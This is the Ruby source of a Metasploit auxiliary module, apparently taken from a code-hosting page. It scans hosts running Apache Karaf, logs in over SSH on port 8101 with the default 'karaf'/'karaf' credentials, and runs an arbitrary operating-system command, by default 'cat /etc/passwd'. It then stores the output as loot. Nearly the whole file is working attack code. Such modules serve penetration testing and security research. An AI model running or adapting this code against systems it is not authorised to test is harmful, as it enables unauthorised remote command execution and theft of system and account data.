132 lines
3.7 KiB
Ruby
132 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'net/ssh'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::SSH
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def initialize(info={})
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super(update_info(info,
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'Name' => "Apache Karaf Default Credentials Command Execution",
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'Description' => %q{
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This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.
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The 'karaf' user has a known default password, which can be used to login to the
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SSH service, and execute operating system commands from remote.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nicholas Starke <nick@alephvoid.com>'
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],
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Apache Karaf', {}],
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],
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'Privileged' => true,
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'DisclosureDate' => "Feb 9 2016",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8101),
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OptString.new('USERNAME', [true, 'Username', 'karaf']),
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OptString.new('PASSWORD', [true, 'Password', 'karaf']),
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OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])
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], self.class
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)
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register_advanced_options(
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[
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Opt::Proxies,
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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def rport
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datastore['RPORT']
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end
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def username
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datastore['USERNAME']
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end
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def password
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datastore['PASSWORD']
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end
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def cmd
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datastore['CMD']
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end
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def do_login(user, pass, ip)
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factory = ssh_socket_factory
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opts = {
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auth_methods: ['password'],
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port: rport,
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config: false,
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use_agent: false,
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password: pass,
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proxy: factory,
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non_interactive: true
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}
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opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
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begin
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ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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Net::SSH.start(ip, user, opts)
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end
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if ssh
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print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")
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else
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print_error "#{ip}:#{rport} - Unknown error"
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end
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rescue OpenSSL::Cipher::CipherError => e
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print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
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return
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rescue Rex::ConnectionError
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return
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
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return
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rescue ::Timeout::Error
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print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
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return
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rescue Net::SSH::AuthenticationFailed
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print_error "#{ip}:#{rport} SSH - Failed authentication"
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rescue Net::SSH::Exception => e
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print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return
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end
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ssh
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end
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def run_host(ip)
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print_status("#{ip}:#{rport} - Attempt to login...")
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ssh = do_login(username, password, ip)
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if ssh
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output = ssh.exec!("shell:exec #{cmd}\n").to_s
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if output
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print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")
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store_loot("apache.karaf.command",
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"text/plain",
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ip,
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output)
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vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
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else
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print_error "#{ip}:#{rport} - Command failed to execute"
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end
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end
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end
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end
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